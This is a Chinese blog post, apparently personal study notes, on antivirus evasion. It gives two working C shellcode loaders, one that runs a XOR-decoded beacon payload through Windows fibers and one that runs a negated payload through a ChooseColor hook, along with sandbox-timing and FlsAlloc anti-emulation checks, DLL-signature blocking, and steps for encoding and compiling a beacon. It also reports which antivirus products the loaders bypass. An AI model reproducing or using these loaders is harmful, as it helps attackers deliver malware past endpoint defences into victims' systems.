前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀技术-使用纤程免杀

免杀技术-使用纤程免杀

作者头像
hyyrent
发布2023-03-29 10:33:27
2K0
发布2023-03-29 10:33:27
举报
文章被收录于专栏:安全学习记录安全学习记录

B站闲逛,发现了师傅一个优秀的项目,学习整理了一波笔记

原文链接:https://www.bilibili.com/video/BV1LA411B7Mk/?spm_id_from=333.999.0.0&vd_source=4652172a15b97e23a4fc522adb2ef705

使用纤程免杀

纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式

https://docs.microsoft.com/en-us/windows/win32/procthread/fibers

  1. 将当前线程转换为 Fiber ConvertThreadToFiber()
  2. 使用 PAGE_EXECUTE_READWRITE 权限在当前进程中分配内存 VirtualAlloc()
  3. 将 shellcode 复制到分配的内存空间 CopyMemory()
  4. 启动指向分配的内存空间的新Fiber CreateFiber()
  5. 将 Fiber Context 切换到新创建的 Fiber SwitchFiber()

实现代码:

代码语言:javascript
复制
#include <windows.h>

void like(){
unsigned char data[] = {0x11, 0x22};
    
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc=VirtualAlloc(NULL,sizeof(data),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
for (int i=0;i<sizeof(data);i++)
{
    data[i]^=99;
}
CopyMemory(Alloc,data,sizeof(data));
LPVOID shellFiber=CreateFiber(0,(LPFIBER_START_ROUTINE)Alloc,NULL);
SwitchToFiber(shellFiber);
}

int main(){
    like();
}

1、生成raw格式的beacon

2、拖入010editor

image-20230313113058700
image-20230313113058700

3、tools – binaryxor 选择异或次数

image-20230313113433766
image-20230313113433766
image-20230313113303226
image-20230313113303226

4、生成之后,全选 edit – copy as c code,填入到上面的实现代码中,异或次数按照刚刚设置的进行修改

image-20230313113846271
image-20230313113846271

5、gcc xc2.c -mwindows编译生成exe

image-20230313115712718
image-20230313115712718

免杀效果:火绒✔ def✔ eset✔ 360✔(需要迅速注入其他进程)卡巴斯基❌

image-20230313120025302
image-20230313120025302
image-20230313120135768
image-20230313120135768
image-20230313120055268
image-20230313120055268

反模拟运行检测

本质上就是将恶意程序放入沙箱中 看看它会做什么并监视它的行为。但是这是杀软自己模拟出的一个环境。(也就是启发式查杀)

FlsAlloc windows API https://docs.microsoft.com/en-us/windows/win32/api/fibersapi/nf-fibersapi-flsalloc

添加fibersapi.h

代码语言:javascript
复制
DWORD result = FlsAlloc(NULL);
	if (result == FLS_OUT_OF_INDEXES)
	{
		return 0;
	}
image-20230313120655490
image-20230313120655490

使用求反免杀

代码语言:javascript
复制
#include <Windows.h>
#include <stdio.h>
#include <ctime>

#pragma comment(lib, "Comdlg32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void BLockDll()
{
    //定义一个标志
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
    sp.MicrosoftSignedOnly = 1;
    //调用进程设置缓解策略。 缓解策略使流程能够加强自身以抵御各种类型的攻击
    //ProcessSignaturePolicy意思就是限制为只能加载微软签名的
    SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
}

bool 检查沙箱()
{
    clock_t start = clock();

    Sleep(2000);

    clock_t end = clock();
    if (end - start >= 2000)
    {
        return false;
    }
    return true;
}

void 加载器()
{
    BLockDll();
    DWORD 长度 = 0;
    unsigned char 载荷[265728] = {};


    长度 = sizeof(载荷);

    PVOID hAlloc = VirtualAlloc(NULL, 长度, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    for (int i = 0; i < 长度; i++)
    {
        载荷[i] = -载荷[i];
    }
    memcpy(hAlloc, 载荷, 长度);
    CHOOSECOLOR sCC = { 0 };
    sCC.lStructSize = sizeof(CHOOSECOLOR);
    sCC.Flags = CC_ENABLEHOOK;
    sCC.lpfnHook = (LPCCHOOKPROC)hAlloc;
    ChooseColor(&sCC);
}

int main()
{
    检查沙箱();
    //创建线程
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)加载器, NULL, 0, NULL);
    //等待线程结束
    WaitForSingleObject(hThread, INFINITE);
    //关闭句柄
    CloseHandle(hThread);
    return 0;
}

tools – binaryxor 选择求反,与上面一样的步骤

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 使用纤程免杀
  • 使用求反免杀
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档